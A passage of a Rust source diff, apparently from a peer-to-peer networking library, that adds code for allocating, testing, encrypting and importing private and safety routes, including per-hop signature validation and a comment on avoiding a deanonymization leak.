not be in the route twice + return None; + } + } + } + + // Ensure this route is viable by checking that each node can contact the next one + let mut can_do_sequenced = true; + if directions.contains(Direction::Outbound) { + let mut previous_node = &our_peer_info; + let mut reachable = true; + for n in permutation { + let current_node = nodes_pi.get(*n).unwrap(); + let cm = rti.get_contact_method( + RoutingDomain::PublicInternet, + previous_node, + current_node, + DialInfoFilter::all(), + sequencing, + None, + ); + if matches!(cm, ContactMethod::Unreachable) { + reachable = false; + break; + } + + // Check if we can do sequenced specifically + if can_do_sequenced { + let cm = rti.get_contact_method( + RoutingDomain::PublicInternet, + previous_node, + current_node, + DialInfoFilter::all(), + Sequencing::EnsureOrdered, + None, + ); + if matches!(cm, ContactMethod::Unreachable) { + can_do_sequenced = false; + } + } + + previous_node = current_node; + } + if !reachable { + return None; + } + } + if directions.contains(Direction::Inbound) { + let mut next_node = &our_peer_info; + let mut reachable = true; + for n in permutation.iter().rev() { + let current_node = nodes_pi.get(*n).unwrap(); + let cm = rti.get_contact_method( + RoutingDomain::PublicInternet, + next_node, + current_node, + DialInfoFilter::all(), + sequencing, + None, + ); + if matches!(cm, ContactMethod::Unreachable) { + reachable = false; + break; + } + + // Check if we can do sequenced specifically + if can_do_sequenced { + let cm = rti.get_contact_method( + RoutingDomain::PublicInternet, + next_node, + current_node, + DialInfoFilter::all(), + Sequencing::EnsureOrdered, + None, + ); + if matches!(cm, ContactMethod::Unreachable) { + can_do_sequenced = false; + } + } + next_node = current_node; + } + if !reachable { + return None; + } + } + // Keep this route + let route_nodes = permutation.to_vec(); + Some((route_nodes, can_do_sequenced)) + }) as PermFunc; + + let mut route_nodes: Vec = Vec::new(); + let mut can_do_sequenced: bool = true; + + for start in 0..(nodes.len() - hop_count) { + // Try the permutations available starting with 'start' + if let Some((rn, cds)) = with_route_permutations(hop_count, start, &mut perm_func) { + route_nodes = rn; + can_do_sequenced = cds; + break; + } + } + if route_nodes.is_empty() { + log_rtab!(debug "unable to find unique route at this time"); + return Ok(None); + } + + drop(perm_func); + + // Got a unique route, lets build the details, register it, and return it + let hop_node_refs: Vec = route_nodes.iter().map(|k| nodes[*k].clone()).collect(); + let mut route_set = BTreeMap::::new(); + for crypto_kind in crypto_kinds.iter().copied() { + let vcrypto = self + .unlocked_inner + .routing_table + .crypto() + .get(crypto_kind) + .unwrap(); + let keypair = vcrypto.generate_keypair(); + let hops: Vec = route_nodes + .iter() + .map(|v| { + nodes[*v] + .locked(rti) + .node_ids() + .get(crypto_kind) + .unwrap() + .value + }) + .collect(); + + route_set.insert( + keypair.key, + RouteSpecDetail { + crypto_kind, + secret_key: keypair.secret, + hops, + }, + ); + } + + let rssd = RouteSetSpecDetail::new( + cur_ts, + route_set, + hop_node_refs, + directions, + stability, + can_do_sequenced, + ); + + // make id + let id = self.generate_allocated_route_id(&rssd)?; + + // Add to cache + inner.cache.add_to_cache(rti, &rssd); + + // Keep route in spec store + inner.content.add_detail(id, rssd); + + Ok(Some(id)) + } + + /// validate data using a private route's key and signature chain + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, data, callback), ret) + )] + pub fn with_signature_validated_route( + &self, + public_key: &TypedKey, + signatures: &[Signature], + data: &[u8], + last_hop_id: PublicKey, + callback: F, + ) -> Option + where + F: FnOnce(&RouteSetSpecDetail, &RouteSpecDetail) -> R, + R: fmt::Debug, + { + let inner = &*self.inner.lock(); + let crypto = self.unlocked_inner.routing_table.crypto(); + let Some(vcrypto) = crypto.get(public_key.kind) else { + log_rpc!(debug "can't handle route with public key: {:?}", public_key); + return None; + }; + + let Some(rsid) = inner.content.get_id_by_key(&public_key.value) else { + log_rpc!(debug "route id does not exist: {:?}", public_key.value); + return None; + }; + let Some(rssd) = inner.content.get_detail(&rsid) else { + log_rpc!(debug "route detail does not exist: {:?}", rsid); + return None; + }; + let Some(rsd) = rssd.get_route_by_key(&public_key.value) else { + log_rpc!(debug "route set {:?} does not have key: {:?}", rsid, public_key.value); + return None; + }; + + // Ensure we have the right number of signatures + if signatures.len() != rsd.hops.len() - 1 { + // Wrong number of signatures + log_rpc!(debug "wrong number of signatures ({} should be {}) for routed operation on private route {}", signatures.len(), rsd.hops.len() - 1, public_key); + return None; + } + // Validate signatures to ensure the route was handled by the nodes and not messed with + // This is in private route (reverse) order as we are receiving over the route + for (hop_n, hop_public_key) in rsd.hops.iter().rev().enumerate() { + // The last hop is not signed, as the whole packet is signed + if hop_n == signatures.len() { + // Verify the node we received the routed operation from is the last hop in our route + if *hop_public_key != last_hop_id { + log_rpc!(debug "received routed operation from the wrong hop ({} should be {}) on private route {}", hop_public_key.encode(), last_hop_id.encode(), public_key); + return None; + } + } else { + // Verify a signature for a hop node along the route + if let Err(e) = vcrypto.verify(hop_public_key, data, &signatures[hop_n]) { + log_rpc!(debug "failed to verify signature for hop {} at {} on private route {}: {}", hop_n, hop_public_key, public_key, e); + return None; + } + } + } + // We got the correct signatures, return a key and response safety spec + Some(callback(rssd, rsd)) + } + + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] + async fn test_allocated_route(&self, private_route_id: RouteId) -> EyreResult { + // Make loopback route to test with + let dest = { + // Get the best private route for this id + let (key, hop_count) = { + let inner = &mut *self.inner.lock(); + let Some(rssd) = inner.content.get_detail(&private_route_id) else { + bail!("route id not allocated"); + }; + let Some(key) = rssd.get_best_route_set_key() else { + bail!("no best key to test allocated route"); + }; + // Match the private route's hop length for safety route length + let hop_count = rssd.hop_count(); + (key, hop_count) + }; + + // Get the private route to send to + let private_route = self.assemble_private_route(&key, None)?; + // Always test routes with safety routes that are more likely to succeed + let stability = Stability::Reliable; + // Routes should test with the most likely to succeed sequencing they are capable of + let sequencing = Sequencing::PreferOrdered; + + let safety_spec = SafetySpec { + preferred_route: Some(private_route_id), + hop_count, + stability, + sequencing, + }; + let safety_selection = SafetySelection::Safe(safety_spec); + + Destination::PrivateRoute { + private_route, + safety_selection, + } + }; + + // Test with double-round trip ping to self + let rpc_processor = self.unlocked_inner.routing_table.rpc_processor(); + let _res = match rpc_processor.rpc_call_status(dest).await? { + NetworkResult::Value(v) => v, + _ => { + // Did not error, but did not come back, just return false + return Ok(false); + } + }; + + Ok(true) + } + + #[instrument(level = "trace", skip(self), ret, err)] + async fn test_remote_route(&self, private_route_id: RouteId) -> EyreResult { + // Make private route test + let dest = { + // Get the route to test + let Some(private_route) = self.best_remote_private_route(&private_route_id) else { + bail!("no best key to test remote route"); + }; + + // Always test routes with safety routes that are more likely to succeed + let stability = Stability::Reliable; + // Routes should test with the most likely to succeed sequencing they are capable of + let sequencing = Sequencing::PreferOrdered; + + // Get a safety route that is good enough + let safety_spec = SafetySpec { + preferred_route: None, + hop_count: self.unlocked_inner.default_route_hop_count, + stability, + sequencing, + }; + + let safety_selection = SafetySelection::Safe(safety_spec); + + Destination::PrivateRoute { + private_route, + safety_selection, + } + }; + + // Test with double-round trip ping to self + let rpc_processor = self.unlocked_inner.routing_table.rpc_processor(); + let _res = match rpc_processor.rpc_call_status(dest).await? { + NetworkResult::Value(v) => v, + _ => { + // Did not error, but did not come back, just return false + return Ok(false); + } + }; + + Ok(true) + } + + /// Release an allocated route that is no longer in use + #[instrument(level = "trace", skip(self), ret)] + fn release_allocated_route(&self, id: RouteId) -> bool { + let mut inner = self.inner.lock(); + let Some(rssd) = inner.content.remove_detail(&id) else { + return false; + }; + + // Remove from hop cache + let rti = &*self.unlocked_inner.routing_table.inner.read(); + if !inner.cache.remove_from_cache(rti, id, &rssd) { + panic!("hop cache should have contained cache key"); + } + + true + } + + /// Check if a route id is remote or not + pub fn is_route_id_remote(&self, id: &RouteId) -> bool { + let inner = &mut *self.inner.lock(); + let cur_ts = get_aligned_timestamp(); + inner + .cache + .peek_remote_private_route_mut(cur_ts, id) + .is_some() + } + + /// Test an allocated route for continuity + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] + pub async fn test_route(&self, id: RouteId) -> EyreResult { + let is_remote = self.is_route_id_remote(&id); + if is_remote { + self.test_remote_route(id).await + } else { + self.test_allocated_route(id).await + } + } + + /// Release an allocated or remote route that is no longer in use + #[instrument(level = "trace", skip(self), ret)] + pub fn release_route(&self, id: RouteId) -> bool { + let is_remote = self.is_route_id_remote(&id); + if is_remote { + self.release_remote_private_route(id) + } else { + self.release_allocated_route(id) + } + } + + /// Find first matching unpublished route that fits into the selection criteria + /// Don't pick any routes that have failed and haven't been tested yet + #[allow(clippy::too_many_arguments)] + fn first_available_route_inner( + inner: &RouteSpecStoreInner, + crypto_kind: CryptoKind, + min_hop_count: usize, + max_hop_count: usize, + stability: Stability, + sequencing: Sequencing, + directions: DirectionSet, + avoid_nodes: &[TypedKey], + ) -> Option { + let cur_ts = get_aligned_timestamp(); + + let mut routes = Vec::new(); + + // Get all valid routes, allow routes that need testing + // but definitely prefer routes that have been recently tested + for (id, rssd) in inner.content.iter_details() { + if rssd.get_stability() >= stability + && rssd.is_sequencing_match(sequencing) + && rssd.hop_count() >= min_hop_count + && rssd.hop_count() <= max_hop_count + && rssd.get_directions().is_superset(directions) + && rssd.get_route_set_keys().kinds().contains(&crypto_kind) + && !rssd.is_published() + && !rssd.contains_nodes(avoid_nodes) + { + routes.push((id, rssd)); + } + } + + // Sort the routes by preference + routes.sort_by(|a, b| { + let a_needs_testing = a.1.get_stats().needs_testing(cur_ts); + let b_needs_testing = b.1.get_stats().needs_testing(cur_ts); + if !a_needs_testing && b_needs_testing { + return cmp::Ordering::Less; + } + if !b_needs_testing && a_needs_testing { + return cmp::Ordering::Greater; + } + let a_latency = a.1.get_stats().latency_stats().average; + let b_latency = b.1.get_stats().latency_stats().average; + + a_latency.cmp(&b_latency) + }); + + // Return the best one if we got one + routes.first().map(|r| *r.0) + } + + /// List all allocated routes + pub fn list_allocated_routes(&self, mut filter: F) -> Vec + where + F: FnMut(&RouteId, &RouteSetSpecDetail) -> Option, + { + let inner = self.inner.lock(); + let mut out = Vec::with_capacity(inner.content.get_detail_count()); + for detail in inner.content.iter_details() { + if let Some(x) = filter(detail.0, detail.1) { + out.push(x); + } + } + out + } + + /// List all allocated routes + pub fn list_remote_routes(&self, mut filter: F) -> Vec + where + F: FnMut(&RouteId, &RemotePrivateRouteInfo) -> Option, + { + let inner = self.inner.lock(); + let mut out = Vec::with_capacity(inner.cache.get_remote_private_route_count()); + for info in inner.cache.iter_remote_private_routes() { + if let Some(x) = filter(info.0, info.1) { + out.push(x); + } + } + out + } + + /// Get the debug description of a route + pub fn debug_route(&self, id: &RouteId) -> Option { + let inner = &mut *self.inner.lock(); + let cur_ts = get_aligned_timestamp(); + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, id) { + return Some(format!("{:#?}", rpri)); + } + if let Some(rssd) = inner.content.get_detail(id) { + return Some(format!("{:#?}", rssd)); + } + None + } + + ////////////////////////////////////////////////////////////////////// + + /// Choose the best private route from a private route set to communicate with + pub fn best_remote_private_route(&self, id: &RouteId) -> Option { + let inner = &mut *self.inner.lock(); + let cur_ts = get_aligned_timestamp(); + let rpri = inner.cache.get_remote_private_route(cur_ts, id)?; + rpri.best_private_route() + } + + /// Compiles a safety route to the private route, with caching + /// Returns an Err() if the parameters are wrong + /// Returns Ok(None) if no allocation could happen at this time (not an error) + pub fn compile_safety_route( + &self, + safety_selection: SafetySelection, + mut private_route: PrivateRoute, + ) -> EyreResult> { + // let profile_start_ts = get_timestamp(); + let inner = &mut *self.inner.lock(); + let routing_table = self.unlocked_inner.routing_table.clone(); + let rti = &mut *routing_table.inner.write(); + + // Get useful private route properties + let crypto_kind = private_route.crypto_kind(); + let crypto = routing_table.crypto(); + let Some(vcrypto) = crypto.get(crypto_kind) else { + bail!("crypto not supported for route"); + }; + let pr_pubkey = private_route.public_key.value; + let pr_hopcount = private_route.hop_count as usize; + let max_route_hop_count = self.unlocked_inner.max_route_hop_count; + + // Check private route hop count isn't larger than the max route hop count plus one for the 'first hop' header + if pr_hopcount > (max_route_hop_count + 1) { + bail!("private route hop count too long"); + } + // See if we are using a safety route, if not, short circuit this operation + let safety_spec = match safety_selection { + // Safety route spec to use + SafetySelection::Safe(safety_spec) => safety_spec, + // Safety route stub with the node's public key as the safety route key since it's the 0th hop + SafetySelection::Unsafe(sequencing) => { + let Some(pr_first_hop_node) = private_route.pop_first_hop() else { + bail!("compiled private route should have first hop"); + }; + + let opt_first_hop = match pr_first_hop_node { + RouteNode::NodeId(id) => { + rti.lookup_node_ref(routing_table.clone(), TypedKey::new(crypto_kind, id))? + } + RouteNode::PeerInfo(pi) => Some(rti.register_node_with_peer_info( + routing_table.clone(), + RoutingDomain::PublicInternet, + *pi, + false, + )?), + }; + if opt_first_hop.is_none() { + // Can't reach this private route any more + log_rtab!(debug "can't reach private route any more"); + return Ok(None); + } + let mut first_hop = opt_first_hop.unwrap(); + + // Set sequencing requirement + first_hop.set_sequencing(sequencing); + + // Return the compiled safety route + //println!("compile_safety_route profile (stub): {} us", (get_timestamp() - profile_start_ts)); + return Ok(Some(CompiledRoute { + safety_route: SafetyRoute::new_stub( + routing_table.node_id(crypto_kind), + private_route, + ), + secret: routing_table.node_id_secret_key(crypto_kind), + first_hop, + })); + } + }; + + // If the safety route requested is also the private route, this is a loopback test, just accept it + let opt_private_route_id = inner.content.get_id_by_key(&pr_pubkey); + let sr_pubkey = if opt_private_route_id.is_some() + && safety_spec.preferred_route == opt_private_route_id + { + // Private route is also safety route during loopback test + pr_pubkey + } else { + let Some(avoid_node_id) = private_route.first_hop_node_id() else { + bail!("compiled private route should have first hop"); + }; + let Some(sr_pubkey) = self.get_route_for_safety_spec_inner( + inner, + rti, + crypto_kind, + &safety_spec, + Direction::Outbound.into(), + &[avoid_node_id], + )? + else { + // No safety route could be found for this spec + return Ok(None); + }; + sr_pubkey + }; + + // Look up a few things from the safety route detail we want for the compiled route and don't borrow inner + let Some(safety_route_id) = inner.content.get_id_by_key(&sr_pubkey) else { + bail!("route id missing"); + }; + let Some(safety_rssd) = inner.content.get_detail(&safety_route_id) else { + bail!("route set detail missing"); + }; + let Some(safety_rsd) = safety_rssd.get_route_by_key(&sr_pubkey) else { + bail!("route detail missing"); + }; + + // We can optimize the peer info in this safety route if it has been successfully + // communicated over either via an outbound test, or used as a private route inbound + // and we are replying over the same route as our safety route outbound + let optimize = safety_rssd.get_stats().last_tested_ts.is_some() + || safety_rssd.get_stats().last_received_ts.is_some(); + + // Get the first hop noderef of the safety route + let mut first_hop = safety_rssd.hop_node_ref(0).unwrap(); + + // Ensure sequencing requirement is set on first hop + first_hop.set_sequencing(safety_spec.sequencing); + + // Get the safety route secret key + let secret = safety_rsd.secret_key; + + // See if we have a cached route we can use + if optimize { + if let Some(safety_route) = inner + .cache + .lookup_compiled_route_cache(sr_pubkey, pr_pubkey) + { + // Build compiled route + let compiled_route = CompiledRoute { + safety_route, + secret, + first_hop, + }; + // Return compiled route + //println!("compile_safety_route profile (cached): {} us", (get_timestamp() - profile_start_ts)); + return Ok(Some(compiled_route)); + } + } + + // Create hops + let hops = { + // start last blob-to-encrypt data off as private route + let mut blob_data = { + let mut pr_message = ::capnp::message::Builder::new_default(); + let mut pr_builder = pr_message.init_root::(); + encode_private_route(&private_route, &mut pr_builder)?; + let mut blob_data = builder_to_vec(pr_message)?; + + // append the private route tag so we know how to decode it later + blob_data.push(1u8); + blob_data + }; + + // Encode each hop from inside to outside + // skips the outermost hop since that's entering the + // safety route and does not include the dialInfo + // (outer hop is a RouteHopData, not a RouteHop). + // Each loop mutates 'nonce', and 'blob_data' + let mut nonce = vcrypto.random_nonce(); + // Forward order (safety route), but inside-out + for h in (1..safety_rsd.hops.len()).rev() { + // Get blob to encrypt for next hop + blob_data = { + // Encrypt the previous blob ENC(nonce, DH(PKhop,SKsr)) + let dh_secret = vcrypto + .cached_dh(&safety_rsd.hops[h], &safety_rsd.secret_key) + .wrap_err("dh failed")?; + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + .wrap_err("encryption failed")?; + + // Make route hop data + let route_hop_data = RouteHopData { + nonce, + blob: enc_msg_data, + }; + + // Make route hop + let route_hop = RouteHop { + node: if optimize { + // Optimized, no peer info, just the dht key + RouteNode::NodeId(safety_rsd.hops[h]) + } else { + // Full peer info, required until we are sure the route has been fully established + let node_id = TypedKey::new(safety_rsd.crypto_kind, safety_rsd.hops[h]); + let pi = rti + .with_node_entry(node_id, |entry| { + entry.with(rti, |_rti, e| { + e.make_peer_info(RoutingDomain::PublicInternet) + }) + }) + .flatten(); + if pi.is_none() { + bail!("peer info should exist for route but doesn't"); + } + RouteNode::PeerInfo(Box::new(pi.unwrap())) + }, + next_hop: Some(route_hop_data), + }; + + // Make next blob from route hop + let mut rh_message = ::capnp::message::Builder::new_default(); + let mut rh_builder = rh_message.init_root::(); + encode_route_hop(&route_hop, &mut rh_builder)?; + let mut blob_data = builder_to_vec(rh_message)?; + + // Append the route hop tag so we know how to decode it later + blob_data.push(0u8); + blob_data + }; + + // Make another nonce for the next hop + nonce = vcrypto.random_nonce(); + } + + // Encode first RouteHopData + let dh_secret = vcrypto + .cached_dh(&safety_rsd.hops[0], &safety_rsd.secret_key) + .map_err(RPCError::map_internal("dh failed"))?; + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + .map_err(RPCError::map_internal("encryption failed"))?; + + let route_hop_data = RouteHopData { + nonce, + blob: enc_msg_data, + }; + + SafetyRouteHops::Data(route_hop_data) + }; + + // Build safety route + let safety_route = SafetyRoute { + public_key: TypedKey::new(crypto_kind, sr_pubkey), + hop_count: safety_spec.hop_count as u8, + hops, + }; + + // Add to cache but only if we have an optimized route + if optimize { + inner + .cache + .add_to_compiled_route_cache(pr_pubkey, safety_route.clone()); + } + + // Build compiled route + let compiled_route = CompiledRoute { + safety_route, + secret, + first_hop, + }; + + // Return compiled route + //println!("compile_safety_route profile (uncached): {} us", (get_timestamp() - profile_start_ts)); + Ok(Some(compiled_route)) + } + + /// Get an allocated route that matches a particular safety spec + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, inner, rti), ret, err) + )] + fn get_route_for_safety_spec_inner( + &self, + inner: &mut RouteSpecStoreInner, + rti: &mut RoutingTableInner, + crypto_kind: CryptoKind, + safety_spec: &SafetySpec, + direction: DirectionSet, + avoid_nodes: &[TypedKey], + ) -> EyreResult> { + // Ensure the total hop count isn't too long for our config + let max_route_hop_count = self.unlocked_inner.max_route_hop_count; + if safety_spec.hop_count == 0 { + bail!("safety route hop count is zero"); + } + if safety_spec.hop_count > max_route_hop_count { + bail!("safety route hop count too long"); + } + + // See if the preferred route is here + if let Some(preferred_route) = safety_spec.preferred_route { + if let Some(preferred_rssd) = inner.content.get_detail(&preferred_route) { + // Only use the preferred route if it has the desired crypto kind + if let Some(preferred_key) = preferred_rssd.get_route_set_keys().get(crypto_kind) { + // Only use the preferred route if it doesn't contain the avoid nodes + if !preferred_rssd.contains_nodes(avoid_nodes) { + return Ok(Some(preferred_key.value)); + } + } + } + } + + // Select a safety route from the pool or make one if we don't have one that matches + let sr_route_id = if let Some(sr_route_id) = Self::first_available_route_inner( + inner, + crypto_kind, + safety_spec.hop_count, + safety_spec.hop_count, + safety_spec.stability, + safety_spec.sequencing, + direction, + avoid_nodes, + ) { + // Found a route to use + sr_route_id + } else { + // No route found, gotta allocate one + let Some(sr_route_id) = self + .allocate_route_inner( + inner, + rti, + &[crypto_kind], + safety_spec.stability, + safety_spec.sequencing, + safety_spec.hop_count, + direction, + avoid_nodes, + ) + .map_err(RPCError::internal)? + else { + return Ok(None); + }; + sr_route_id + }; + + let sr_pubkey = inner + .content + .get_detail(&sr_route_id) + .unwrap() + .get_route_set_keys() + .get(crypto_kind) + .unwrap() + .value; + + Ok(Some(sr_pubkey)) + } + + /// Get a private route to use for the answer to question + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret, err) + )] + pub fn get_private_route_for_safety_spec( + &self, + crypto_kind: CryptoKind, + safety_spec: &SafetySpec, + avoid_nodes: &[TypedKey], + ) -> EyreResult> { + let inner = &mut *self.inner.lock(); + let routing_table = self.unlocked_inner.routing_table.clone(); + let rti = &mut *routing_table.inner.write(); + + self.get_route_for_safety_spec_inner( + inner, + rti, + crypto_kind, + safety_spec, + Direction::Inbound.into(), + avoid_nodes, + ) + } + + fn assemble_private_route_inner( + &self, + key: &PublicKey, + rsd: &RouteSpecDetail, + optimized: bool, + ) -> EyreResult { + let routing_table = self.unlocked_inner.routing_table.clone(); + let rti = &*routing_table.inner.read(); + + // Ensure we get the crypto for it + let crypto = routing_table.network_manager().crypto(); + let Some(vcrypto) = crypto.get(rsd.crypto_kind) else { + bail!("crypto not supported for route"); + }; + + // Ensure our network class is valid before attempting to assemble any routes + if !rti.has_valid_network_class(RoutingDomain::PublicInternet) { + bail!("can't make private routes until our node info is valid"); + } + + // Make innermost route hop to our own node + let mut route_hop = RouteHop { + node: if optimized { + let Some(node_id) = routing_table.node_ids().get(rsd.crypto_kind) else { + bail!("missing node id for crypto kind"); + }; + RouteNode::NodeId(node_id.value) + } else { + let pi = rti.get_own_peer_info(RoutingDomain::PublicInternet); + RouteNode::PeerInfo(Box::new(pi)) + }, + next_hop: None, + }; + + // Loop for each hop + let hop_count = rsd.hops.len(); + // iterate hops in private route order (reverse, but inside out) + for h in 0..hop_count { + let nonce = vcrypto.random_nonce(); + + let blob_data = { + let mut rh_message = ::capnp::message::Builder::new_default(); + let mut rh_builder = rh_message.init_root::(); + encode_route_hop(&route_hop, &mut rh_builder)?; + builder_to_vec(rh_message)? + }; + + // Encrypt the previous blob ENC(nonce, DH(PKhop,SKpr)) + let dh_secret = vcrypto + .cached_dh(&rsd.hops[h], &rsd.secret_key) + .wrap_err("dh failed")?; + let enc_msg_data = vcrypto + .encrypt_aead(blob_data.as_slice(), &nonce, &dh_secret, None) + .wrap_err("encryption failed")?; + let route_hop_data = RouteHopData { + nonce, + blob: enc_msg_data, + }; + + route_hop = RouteHop { + node: if optimized { + // Optimized, no peer info, just the dht key + RouteNode::NodeId(rsd.hops[h]) + } else { + // Full peer info, required until we are sure the route has been fully established + let node_id = TypedKey::new(rsd.crypto_kind, rsd.hops[h]); + let pi = rti + .with_node_entry(node_id, |entry| { + entry.with(rti, |_rti, e| { + e.make_peer_info(RoutingDomain::PublicInternet) + }) + }) + .flatten(); + if pi.is_none() { + bail!("peer info should exist for route but doesn't",); + } + RouteNode::PeerInfo(Box::new(pi.unwrap())) + }, + next_hop: Some(route_hop_data), + } + } + + let private_route = PrivateRoute { + public_key: TypedKey::new(rsd.crypto_kind, *key), + // add hop for 'FirstHop' + hop_count: (hop_count + 1).try_into().unwrap(), + hops: PrivateRouteHops::FirstHop(Box::new(route_hop)), + }; + Ok(private_route) + } + + /// Assemble a single private route for publication + /// Returns a PrivateRoute object for an allocated private route key + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), err) + )] + pub fn assemble_private_route( + &self, + key: &PublicKey, + optimized: Option, + ) -> EyreResult { + let inner = &*self.inner.lock(); + let Some(rsid) = inner.content.get_id_by_key(key) else { + bail!("route key does not exist"); + }; + let Some(rssd) = inner.content.get_detail(&rsid) else { + bail!("route id does not exist"); + }; + + // See if we can optimize this compilation yet + // We don't want to include full nodeinfo if we don't have to + let optimized = optimized.unwrap_or( + rssd.get_stats().last_tested_ts.is_some() + || rssd.get_stats().last_received_ts.is_some(), + ); + + let rsd = rssd + .get_route_by_key(key) + .expect("route key index is broken"); + + self.assemble_private_route_inner(key, rsd, optimized) + } + + /// Assemble private route set for publication + /// Returns a vec of PrivateRoute objects for an allocated private route + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), err) + )] + pub fn assemble_private_routes( + &self, + id: &RouteId, + optimized: Option, + ) -> EyreResult> { + let inner = &*self.inner.lock(); + let Some(rssd) = inner.content.get_detail(id) else { + bail!("route id does not exist"); + }; + + // See if we can optimize this compilation yet + // We don't want to include full nodeinfo if we don't have to + let optimized = optimized.unwrap_or( + rssd.get_stats().last_tested_ts.is_some() + || rssd.get_stats().last_received_ts.is_some(), + ); + + let mut out = Vec::new(); + for (key, rsd) in rssd.iter_route_set() { + out.push(self.assemble_private_route_inner(key, rsd, optimized)?); + } + Ok(out) + } + + /// Import a remote private route for compilation + /// It is safe to import the same route more than once and it will return the same route id + /// Returns a route set id + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self, blob), ret, err) + )] + pub fn import_remote_private_route(&self, blob: Vec) -> EyreResult { + let cur_ts = get_aligned_timestamp(); + + // decode the pr blob + let private_routes = RouteSpecStore::blob_to_private_routes( + self.unlocked_inner.routing_table.crypto(), + blob, + )?; + + // make the route id + let id = self.generate_remote_route_id(&private_routes)?; + + // validate the private routes + let inner = &mut *self.inner.lock(); + for private_route in &private_routes { + // ensure private route has first hop + if !matches!(private_route.hops, PrivateRouteHops::FirstHop(_)) { + bail!("private route must have first hop"); + } + + // ensure this isn't also an allocated route + // if inner.content.get_id_by_key(&private_route.public_key.value).is_some() { + // bail!("should not import allocated route"); + // } + } + + inner + .cache + .cache_remote_private_route(cur_ts, id, private_routes); + + Ok(id) + } + + /// Release a remote private route that is no longer in use + #[cfg_attr( + feature = "verbose-tracing", + instrument(level = "trace", skip(self), ret) + )] + pub fn release_remote_private_route(&self, id: RouteId) -> bool { + let inner = &mut *self.inner.lock(); + inner.cache.remove_remote_private_route(id) + } + + /// Get a route id for a route's public key + pub fn get_route_id_for_key(&self, key: &PublicKey) -> Option { + let inner = &mut *self.inner.lock(); + // Check for local route + if let Some(id) = inner.content.get_id_by_key(key) { + return Some(id); + } + + // Check for remote route + if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { + return Some(rrid); + } + + None + } + + /// Check to see if this remote (not ours) private route has seen our current node info yet + /// This happens when you communicate with a private route without a safety route + pub fn has_remote_private_route_seen_our_node_info(&self, key: &PublicKey) -> bool { + let inner = &mut *self.inner.lock(); + + // Check for local route. If this is not a remote private route, + // we may be running a test and using our own local route as the destination private route. + // In that case we definitely have already seen our own node info + if inner.content.get_id_by_key(key).is_some() { + return true; + } + + if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { + let cur_ts = get_aligned_timestamp(); + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { + let our_node_info_ts = self + .unlocked_inner + .routing_table + .get_own_node_info_ts(RoutingDomain::PublicInternet); + return rpri.has_seen_our_node_info_ts(our_node_info_ts); + } + } + + false + } + + /// Mark a remote private route as having seen our current node info + /// PRIVACY: + /// We do not accept node info timestamps from remote private routes because this would + /// enable a deanonymization attack, whereby a node could be 'pinged' with a doctored node_info with a + /// special 'timestamp', which then may be sent back over a private route, identifying that it + /// was that node that had the private route. + pub fn mark_remote_private_route_seen_our_node_info( + &self, + key: &PublicKey, + cur_ts: Timestamp, + ) -> EyreResult<()> { + let our_node_info_ts = self + .unlocked_inner + .routing_table + .get_own_node_info_ts(RoutingDomain::PublicInternet); + + let inner = &mut *self.inner.lock(); + + // Check for local route. If this is not a remote private route + // then we just skip the recording. We may be running a test and using + // our own local route as the destination private route. + if inner.content.get_id_by_key(key).is_some() { + return Ok(()); + } + + if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { + rpri.set_last_seen_our_node_info_ts(our_node_info_ts); + return Ok(()); + } + } + + bail!("private route is missing from store: {}", key); + } + + /// Get the route statistics for any route we know about, local or remote + pub fn with_route_stats(&self, cur_ts: Timestamp, key: &PublicKey, f: F) -> Option + where + F: FnOnce(&mut RouteStats) -> R, + { + let inner = &mut *self.inner.lock(); + + // Check for stub route + if self + .unlocked_inner + .routing_table + .matches_own_node_id_key(key) + { + return None; + } + + // Check for local route + if let Some(rsid) = inner.content.get_id_by_key(key) { + if let Some(rsd) = inner.content.get_detail_mut(&rsid) { + return Some(f(rsd.get_stats_mut())); + } + } + + // Check for remote route + if let Some(rrid) = inner.cache.get_remote_private_route_id_by_key(key) { + if let Some(rpri) = inner.cache.peek_remote_private_route_mut(cur_ts, &rrid) { + return Some(f(rpri.get_stats_mut())); + } + } + + None + } + + /// Clear caches when local our local node info changes + #[instrument(level = "trace", skip(self))] + pub fn reset(&self) { + let inner = &mut *self.inner.lock(); + + // Clean up local allocated routes + inner.content.reset_details(); + + // Reset private route cache + inner.cache.reset_remote_private_routes(); + } + + /// Mark route as published + /// When first deserialized, routes must be re-published in order to ensure they remain + /// in the RouteSpecStore. + pub fn mark_route_published(&self, id: &RouteId, published: bool) -> EyreResult<()> { + let inner = &mut *self.inner.lock(); + let Some(rssd) = inner.content.get_detail_mut(id) else { + bail!("route does not exist"); + }; + rssd.set_published(published); + Ok(()) + } + + /// Process transfer statistics to get averages + pub fn roll_transfers(&self, last_ts: Timestamp, cur_ts: Timestamp) { + let inner = &mut *self.inner.lock(); + + // Roll transfers for locally allocated routes + inner.content.roll_transfers(last_ts, cur_ts); + + // Roll transfers for remote private routes + inner.cache.roll_transfers(last_ts, cur_ts); + } + + /// Convert private route list to binary blob + pub fn private_routes_to_blob(private_routes: &[PrivateRoute]) -> EyreResult> { + let mut buffer = vec![]; + + // Serialize count + let pr_count = private_routes.len(); + if pr_count > MAX_CRYPTO_KINDS { + bail!("too many crypto kinds to encode blob"); + } + let pr_count = pr_count as u8; + buffer.push(pr_count); + + // Serialize stream of private routes + for private_route in private_routes { + let mut pr_message = ::capnp::message::Builder::new_default(); + let mut pr_builder = pr_message.init_root::(); + + encode_private_route(private_route, &mut pr_builder) + 